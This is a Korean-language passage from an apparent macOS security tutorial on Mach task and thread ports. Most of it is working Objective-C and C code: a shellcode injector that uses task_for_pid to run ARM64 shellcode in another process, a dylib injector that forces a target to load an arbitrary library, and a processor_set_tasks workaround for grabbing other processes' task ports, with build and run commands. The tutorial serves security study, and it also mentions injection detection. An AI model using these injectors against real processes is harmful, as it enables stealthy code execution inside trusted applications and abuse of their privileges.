  • 앱이 com.apple.security.get-task-allow κΆŒν•œμ„ κ°€μ§€κ³  있으면, 같은 μ‚¬μš©μžμ˜ ν”„λ‘œμ„ΈμŠ€κ°€ μž‘μ—… ν¬νŠΈμ— μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€(일반적으둜 디버깅을 μœ„ν•΄ Xcode에 μ˜ν•΄ 좔가됨). λ…Ένƒ€λ¦¬μ œμ΄μ…˜ ν”„λ‘œμ„ΈμŠ€λŠ” ν”„λ‘œλ•μ…˜ λ¦΄λ¦¬μŠ€μ—μ„œλŠ” 이λ₯Ό ν—ˆμš©ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.
  • com.apple.system-task-ports κΆŒν•œμ΄ μžˆλŠ” 앱은 컀널을 μ œμ™Έν•œ λͺ¨λ“  ν”„λ‘œμ„ΈμŠ€μ˜ μž‘μ—… 포트λ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€. 이전 λ²„μ „μ—μ„œλŠ” **task_for_pid-allow**라고 λΆˆλ ΈμŠ΅λ‹ˆλ‹€. μ΄λŠ” Apple μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—λ§Œ λΆ€μ—¬λ©λ‹ˆλ‹€.
  • λ£¨νŠΈλŠ” ν•˜λ“œλ‹ λŸ°νƒ€μž„μœΌλ‘œ μ»΄νŒŒμΌλ˜μ§€ μ•Šμ€ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ μž‘μ—… ν¬νŠΈμ— μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€(Apple이 μ•„λ‹Œ).

μž‘μ—… 이름 포트: _μž‘μ—… 포트_의 λΉ„νŠΉκΆŒ λ²„μ „μž…λ‹ˆλ‹€. μž‘μ—…μ„ μ°Έμ‘°ν•˜μ§€λ§Œ 이λ₯Ό μ œμ–΄ν•  μˆ˜λŠ” μ—†μŠ΅λ‹ˆλ‹€. 이λ₯Ό 톡해 μ‚¬μš©ν•  수 μžˆλŠ” μœ μΌν•œ 것은 task_info()인 것 κ°™μŠ΅λ‹ˆλ‹€.

Thread Ports

μŠ€λ ˆλ“œμ—λ„ κ΄€λ ¨ ν¬νŠΈκ°€ 있으며, μ΄λŠ” **task_threads**λ₯Ό ν˜ΈμΆœν•˜λŠ” μž‘μ—…κ³Ό processor_set_threadsλ₯Ό 톡해 λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€. μŠ€λ ˆλ“œ ν¬νŠΈμ— λŒ€ν•œ SEND κΆŒν•œμ€ thread_act μ„œλΈŒμ‹œμŠ€ν…œμ˜ ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•  수 있게 ν•΄μ€λ‹ˆλ‹€, 예λ₯Ό λ“€μ–΄:

  • thread_terminate
  • thread_[get/set]_state
  • act_[get/set]_state
  • thread_[suspend/resume]
  • thread_info
  • …

λͺ¨λ“  μŠ€λ ˆλ“œλŠ” **mach_thread_self**λ₯Ό ν˜ΈμΆœν•˜μ—¬ 이 포트λ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.

Task 포트λ₯Ό ν†΅ν•œ μŠ€λ ˆλ“œμ˜ Shellcode μ£Όμž…

λ‹€μŒμ—μ„œ shellcodeλ₯Ό κ°€μ Έμ˜¬ 수 μžˆμŠ΅λ‹ˆλ‹€:

Introduction to ARM64v8

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

이전 ν”„λ‘œκ·Έλž¨μ„ μ»΄νŒŒμΌν•˜κ³  λ™μΌν•œ μ‚¬μš©μžλ‘œ μ½”λ“œλ₯Ό μ£Όμž…ν•  수 μžˆλ„λ‘ κΆŒν•œμ„ μΆ”κ°€ν•©λ‹ˆλ‹€ (κ·Έλ ‡μ§€ μ•ŠμœΌλ©΄ sudoλ₯Ό μ‚¬μš©ν•΄μ•Ό ν•©λ‹ˆλ‹€).

sc_injector.m ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = β€œ\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00”;

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, β€œUnable to call task_for_pid on pid %d: %d. Cannot continue!\n”,pid, kr); return (-1); } else{ printf(β€œGathered privileges over the task port of process: %d\n”, pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to allocate memory for remote stack in thread: Error %s\n”, mach_error_string(kr)); return (-2); } else {

fprintf (stderr, β€œAllocated remote stack @0x%llx\n”, remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to allocate memory for remote code in thread: Error %s\n”, mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to write remote thread memory: Error %s\n”, mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to set memory permissions for remote thread’s code: Error %s\n”, mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to set memory permissions for remote thread’s stack: Error %s\n”, mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, β€˜\0’, sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf (β€œRemote Stack 64 0x%llx, Remote code is %p\n”, remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to create remote thread: error %s”, mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@β€œpgrep”, processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@β€œ/usr/bin/env”]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@β€œUsage: %s ”, argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@β€œError: Process named β€˜%@’ not found.”, arg); return 1; } else{ printf(β€œFound PID of process β€˜%s’: %d\n”, [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Tip

iOSμ—μ„œ μž‘λ™ν•˜λ €λ©΄ dynamic-codesigning κΆŒν•œμ΄ ν•„μš”ν•˜μ—¬ μ“°κΈ° κ°€λŠ₯ν•œ λ©”λͺ¨λ¦¬ μ‹€ν–‰ νŒŒμΌμ„ λ§Œλ“€ 수 μžˆμŠ΅λ‹ˆλ‹€.

Task 포트λ₯Ό ν†΅ν•œ μŠ€λ ˆλ“œμ—μ„œμ˜ Dylib μ£Όμž…

macOSμ—μ„œ μŠ€λ ˆλ“œλŠ” Mach λ˜λŠ” posix pthread apiλ₯Ό μ‚¬μš©ν•˜μ—¬ μ‘°μž‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이전 μ£Όμž…μ—μ„œ μƒμ„±ν•œ μŠ€λ ˆλ“œλŠ” Mach apiλ₯Ό μ‚¬μš©ν•˜μ—¬ μƒμ„±λ˜μ—ˆμœΌλ―€λ‘œ posix ν˜Έν™˜μ„±μ΄ μ—†μŠ΅λ‹ˆλ‹€.

posix ν˜Έν™˜ api와 μž‘μ—…ν•  ν•„μš”κ°€ μ—†μ—ˆκΈ° λ•Œλ¬Έμ— κ°„λ‹¨ν•œ μ‰˜μ½”λ“œλ₯Ό μ£Όμž…ν•˜μ—¬ λͺ…령을 μ‹€ν–‰ν•  수 μžˆμ—ˆμŠ΅λ‹ˆλ‹€. 더 λ³΅μž‘ν•œ μ£Όμž…μ€ μŠ€λ ˆλ“œκ°€ λ˜ν•œ posix ν˜Έν™˜μ„±μ„ κ°€μ Έμ•Ό ν•©λ‹ˆλ‹€.

λ”°λΌμ„œ μŠ€λ ˆλ“œλ₯Ό κ°œμ„ ν•˜κΈ° μœ„ν•΄ **pthread_create_from_mach_thread**λ₯Ό ν˜ΈμΆœν•΄μ•Ό ν•˜λ©°, μ΄λŠ” μœ νš¨ν•œ pthreadλ₯Ό μƒμ„±ν•©λ‹ˆλ‹€. 그런 λ‹€μŒ, 이 μƒˆλ‘œμš΄ pthreadλŠ” dlopen을 ν˜ΈμΆœν•˜μ—¬ μ‹œμŠ€ν…œμ—μ„œ dylibλ₯Ό λ‘œλ“œν•  수 μžˆμœΌλ―€λ‘œ, λ‹€μ–‘ν•œ μž‘μ—…μ„ μˆ˜ν–‰ν•˜κΈ° μœ„ν•΄ μƒˆλ‘œμš΄ μ‰˜μ½”λ“œλ₯Ό μž‘μ„±ν•˜λŠ” λŒ€μ‹  μ‚¬μš©μž μ •μ˜ 라이브러리λ₯Ό λ‘œλ“œν•  수 μžˆμŠ΅λ‹ˆλ‹€.

예제 dylibsλŠ” λ‹€μŒμ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€ (예λ₯Ό λ“€μ–΄ 둜그λ₯Ό μƒμ„±ν•˜κ³  이λ₯Ό 듀을 수 μžˆλŠ” 것):

macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

dylib_injector.m ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include #include #include #include #include #include #include

#include <sys/stat.h> #include <pthread.h>

#ifdef arm64 //#include β€œmach/arm/thread_status.h”

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

char injectedCode[] =

// β€œ\x00\x00\x20\xd4” // BRK X0 ; // useful if you need a break :)

// Call pthread_set_self

β€œ\xff\x83\x00\xd1” // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables β€œ\xFD\x7B\x01\xA9” // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack β€œ\xFD\x43\x00\x91” // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer β€œ\xff\x43\x00\xd1” // SUB SP, SP, #0x10 ; Space for the β€œ\xE0\x03\x00\x91” // MOV X0, SP ; (arg0)Store in the stack the thread struct β€œ\x01\x00\x80\xd2” // MOVZ X1, 0 ; X1 (arg1) = 0; β€œ\xA2\x00\x00\x10” // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start β€œ\x03\x00\x80\xd2” // MOVZ X3, 0 ; X3 (arg3) = 0; β€œ\x68\x01\x00\x58” // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) β€œ\x00\x01\x3f\xd6” // BLR X8 ; call pthread_create_from_mach_thread β€œ\x00\x00\x00\x14” // loop: b loop ; loop forever

// Call dlopen with the path to the library β€œ\xC0\x01\x00\x10” // ADR X0, #56 ; X0 => β€œLIBLIBLIB…”; β€œ\x68\x01\x00\x58” // LDR X8, #44 ; load DLOPEN β€œ\x01\x00\x80\xd2” // MOVZ X1, 0 ; X1 = 0; β€œ\x29\x01\x00\x91” // ADD x9, x9, 0 - I left this as a nop β€œ\x00\x01\x3f\xd6” // BLR X8 ; do dlopen()

// Call pthread_exit β€œ\xA8\x00\x00\x58” // LDR X8, #20 ; load PTHREADEXT β€œ\x00\x00\x80\xd2” // MOVZ X0, 0 ; X1 = 0; β€œ\x00\x01\x3f\xd6” // BLR X8 ; do pthread_exit

β€œPTHRDCRT” // <- β€œPTHRDEXT” // <- β€œDLOPEN__” // <- β€œLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” β€œ\x00” ;

int inject(pid_t pid, const char *lib) {

task_t remoteTask; struct stat buf;

// Check if the library exists int rc = stat (lib, &buf);

if (rc != 0) { fprintf (stderr, β€œUnable to open library file %s (%s) - Cannot inject\n”, lib,strerror (errno)); //return (-9); }

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, β€œUnable to call task_for_pid on pid %d: %d. Cannot continue!\n”,pid, kr); return (-1); } else{ printf(β€œGathered privileges over the task port of process: %d\n”, pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to allocate memory for remote stack in thread: Error %s\n”, mach_error_string(kr)); return (-2); } else {

fprintf (stderr, β€œAllocated remote stack @0x%llx\n”, remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to allocate memory for remote code in thread: Error %s\n”, mach_error_string(kr)); return (-2); }

// Patch shellcode

int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {

// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;

uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, β€œpthread_create_from_mach_thread”); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, β€œpthread_exit”); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, β€œPTHRDEXT”, 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf (β€œPthread exit @%llx, %llx\n”, addrOfPthreadExit, pthread_exit); }

if (memcmp (possiblePatchLocation, β€œPTHRDCRT”, 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); printf (β€œPthread create from mach thread @%llx\n”, addrOfPthreadCreate); }

if (memcmp(possiblePatchLocation, β€œDLOPEN__”, 6) == 0) { printf (β€œDLOpen @%llx\n”, addrOfDlopen); memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); }

if (memcmp(possiblePatchLocation, β€œLIBLIBLIB”, 9) == 0) { strcpy(possiblePatchLocation, lib ); } }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to write remote thread memory: Error %s\n”, mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to set memory permissions for remote thread’s code: Error %s\n”, mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to set memory permissions for remote thread’s stack: Error %s\n”, mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, β€˜\0’, sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf (β€œRemote Stack 64 0x%llx, Remote code is %p\n”, remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,β€œUnable to create remote thread: error %s”, mach_error_string (kr)); return (-3); }

return (0); }

int main(int argc, const char * argv[]) { if (argc < 3) { fprintf (stderr, β€œUsage: %s pid action\n”, argv[0]); fprintf (stderr, β€œ action: path to a dylib on disk\nβ€œ); exit(0); }

pid_t pid = atoi(argv[1]); const char *action = argv[2]; struct stat buf;

int rc = stat (action, &buf); if (rc == 0) inject(pid,action); else { fprintf(stderr,β€œDylib not found\n”); }

}

</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>

Thread Hijacking via Task port

이 κΈ°μˆ μ—μ„œλŠ” ν”„λ‘œμ„ΈμŠ€μ˜ μŠ€λ ˆλ“œκ°€ ν•˜μ΄μž¬ν‚Ήλ©λ‹ˆλ‹€:

macOS Thread Injection via Task port

Task Port Injection Detection

task_for_pid λ˜λŠ” thread_create_*λ₯Ό ν˜ΈμΆœν•  λ•Œ μ»€λ„μ˜ struct taskμ—μ„œ μΉ΄μš΄ν„°κ°€ μ¦κ°€ν•˜λ©°, μ΄λŠ” μ‚¬μš©μž λͺ¨λ“œμ—μ„œ task_info(task, TASK_EXTMOD_INFO, …)λ₯Ό ν˜ΈμΆœν•˜μ—¬ μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Exception Ports

μŠ€λ ˆλ“œμ—μ„œ μ˜ˆμ™Έκ°€ λ°œμƒν•˜λ©΄ 이 μ˜ˆμ™ΈλŠ” μŠ€λ ˆλ“œμ˜ μ§€μ •λœ μ˜ˆμ™Έ 포트둜 μ „μ†‘λ©λ‹ˆλ‹€. μŠ€λ ˆλ“œκ°€ 이λ₯Ό μ²˜λ¦¬ν•˜μ§€ μ•ŠμœΌλ©΄ μž‘μ—… μ˜ˆμ™Έ 포트둜 μ „μ†‘λ©λ‹ˆλ‹€. μž‘μ—…μ΄ 이λ₯Ό μ²˜λ¦¬ν•˜μ§€ μ•ŠμœΌλ©΄ 호슀트 포트둜 μ „μ†‘λ˜λ©°, μ΄λŠ” launchd에 μ˜ν•΄ κ΄€λ¦¬λ©λ‹ˆλ‹€(μ—¬κΈ°μ„œ μΈμ‹λ©λ‹ˆλ‹€). 이λ₯Ό μ˜ˆμ™Έ λΆ„λ₯˜λΌκ³  ν•©λ‹ˆλ‹€.

보톡 적절히 μ²˜λ¦¬λ˜μ§€ μ•ŠμœΌλ©΄ λ³΄κ³ μ„œλŠ” ReportCrash 데λͺ¬μ— μ˜ν•΄ μ²˜λ¦¬λ©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ 같은 μž‘μ—…μ˜ λ‹€λ₯Έ μŠ€λ ˆλ“œκ°€ μ˜ˆμ™Έλ₯Ό 관리할 수 있으며, 이것이 PLCreashReporter와 같은 ν¬λž˜μ‹œ 보고 도ꡬ가 ν•˜λŠ” μΌμž…λ‹ˆλ‹€.

Other Objects

Clock

λͺ¨λ“  μ‚¬μš©μžλŠ” μ‹œκ³„μ— λŒ€ν•œ 정보λ₯Ό μ ‘κ·Όν•  수 μžˆμ§€λ§Œ, μ‹œκ°„μ„ μ„€μ •ν•˜κ±°λ‚˜ λ‹€λ₯Έ 섀정을 μˆ˜μ •ν•˜λ €λ©΄ 루트 κΆŒν•œμ΄ ν•„μš”ν•©λ‹ˆλ‹€.

정보λ₯Ό μ–»κΈ° μœ„ν•΄ clock μ„œλΈŒμ‹œμŠ€ν…œμ˜ ν•¨μˆ˜μΈ clock_get_time, clock_get_attributtes λ˜λŠ” clock_alarm을 ν˜ΈμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€.
값을 μˆ˜μ •ν•˜κΈ° μœ„ν•΄ clock_priv μ„œλΈŒμ‹œμŠ€ν…œμ„ μ‚¬μš©ν•˜μ—¬ clock_set_time 및 clock_set_attributes와 같은 ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Processors and Processor Set

ν”„λ‘œμ„Έμ„œ APIλŠ” processor_start, processor_exit, processor_info, processor_get_assignment와 같은 ν•¨μˆ˜λ₯Ό ν˜ΈμΆœν•˜μ—¬ 단일 논리 ν”„λ‘œμ„Έμ„œλ₯Ό μ œμ–΄ν•  수 있게 ν•΄μ€λ‹ˆλ‹€.

κ²Œλ‹€κ°€, ν”„λ‘œμ„Έμ„œ μ„ΈνŠΈ APIλŠ” μ—¬λŸ¬ ν”„λ‘œμ„Έμ„œλ₯Ό 그룹으둜 λ¬ΆλŠ” 방법을 μ œκ³΅ν•©λ‹ˆλ‹€. κΈ°λ³Έ ν”„λ‘œμ„Έμ„œ μ„ΈνŠΈλ₯Ό κ²€μƒ‰ν•˜λ €λ©΄ **processor_set_default**λ₯Ό ν˜ΈμΆœν•˜λ©΄ λ©λ‹ˆλ‹€.
ν”„λ‘œμ„Έμ„œ μ„ΈνŠΈμ™€ μƒν˜Έμž‘μš©ν•˜κΈ° μœ„ν•œ λͺ‡ κ°€μ§€ ν₯미둜운 APIλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

  • processor_set_statistics
  • processor_set_tasks: ν”„λ‘œμ„Έμ„œ μ„ΈνŠΈ λ‚΄μ˜ λͺ¨λ“  μž‘μ—…μ— λŒ€ν•œ 전솑 κΆŒν•œ 배열을 λ°˜ν™˜ν•©λ‹ˆλ‹€.
  • processor_set_threads: ν”„λ‘œμ„Έμ„œ μ„ΈνŠΈ λ‚΄μ˜ λͺ¨λ“  μŠ€λ ˆλ“œμ— λŒ€ν•œ 전솑 κΆŒν•œ 배열을 λ°˜ν™˜ν•©λ‹ˆλ‹€.
  • processor_set_stack_usage
  • processor_set_info

이 κ²Œμ‹œλ¬Όμ—μ„œ μ–ΈκΈ‰ν–ˆλ“―μ΄, κ³Όκ±°μ—λŠ” 이 κΈ°λŠ₯을 μ‚¬μš©ν•˜μ—¬ λ‹€λ₯Έ ν”„λ‘œμ„ΈμŠ€μ˜ μž‘μ—… 포트λ₯Ό μ–»κ³  **processor_set_tasks**λ₯Ό ν˜ΈμΆœν•˜μ—¬ 이λ₯Ό μ œμ–΄ν•  수 μžˆμ—ˆμŠ΅λ‹ˆλ‹€.
ν˜„μž¬λŠ” 이 κΈ°λŠ₯을 μ‚¬μš©ν•˜λ €λ©΄ 루트 κΆŒν•œμ΄ ν•„μš”ν•˜λ©°, λ³΄ν˜Έλ˜μ–΄ μžˆμ–΄ λ³΄ν˜Έλ˜μ§€ μ•Šμ€ ν”„λ‘œμ„ΈμŠ€μ—μ„œλ§Œ μ΄λŸ¬ν•œ 포트λ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.

λ‹€μŒκ³Ό 같이 μ‹œλ„ν•΄ λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€:

processor_set_tasks code ````c // Maincpart fo the code from https://newosxbook.com/articles/PST2.html //gcc ./port_pid.c -o port_pid

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/sysctl.h> #include <libproc.h> #include <mach/mach.h> #include <errno.h> #include <string.h> #include <mach/exception_types.h> #include <mach/mach_host.h> #include <mach/host_priv.h> #include <mach/processor_set.h> #include <mach/mach_init.h> #include <mach/mach_port.h> #include <mach/vm_map.h> #include <mach/task.h> #include <mach/task_info.h> #include <mach/mach_traps.h> #include <mach/mach_error.h> #include <mach/thread_act.h> #include <mach/thread_info.h> #include <mach-o/loader.h> #include <mach-o/nlist.h> #include <sys/ptrace.h>

mach_port_t task_for_pid_workaround(int Pid) {

host_t myhost = mach_host_self(); // host self is host priv if you’re root anyway.. mach_port_t psDefault; mach_port_t psDefault_control;

task_array_t tasks; mach_msg_type_number_t numTasks; int i;

thread_array_t threads; thread_info_data_t tInfo;

kern_return_t kr;

kr = processor_set_default(myhost, &psDefault);

kr = host_processor_set_priv(myhost, psDefault, &psDefault_control); if (kr != KERN_SUCCESS) { fprintf(stderr, β€œhost_processor_set_priv failed with error %x\n”, kr); mach_error(β€œhost_processor_set_priv”,kr); exit(1);}

printf(β€œSo far so good\n”);

kr = processor_set_tasks(psDefault_control, &tasks, &numTasks); if (kr != KERN_SUCCESS) { fprintf(stderr,β€œprocessor_set_tasks failed with error %x\n”,kr); exit(1); }

for (i = 0; i < numTasks; i++) { int pid; pid_for_task(tasks[i], &pid); printf(β€œTASK %d PID :%d\n”, i,pid); char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) { printf(β€œCommand line: %s\n”, pathbuf); } else { printf(β€œproc_pidpath failed: %s\n”, strerror(errno)); } if (pid == Pid){ printf(β€œFound\n”); return (tasks[i]); } }

return (MACH_PORT_NULL); } // end workaround

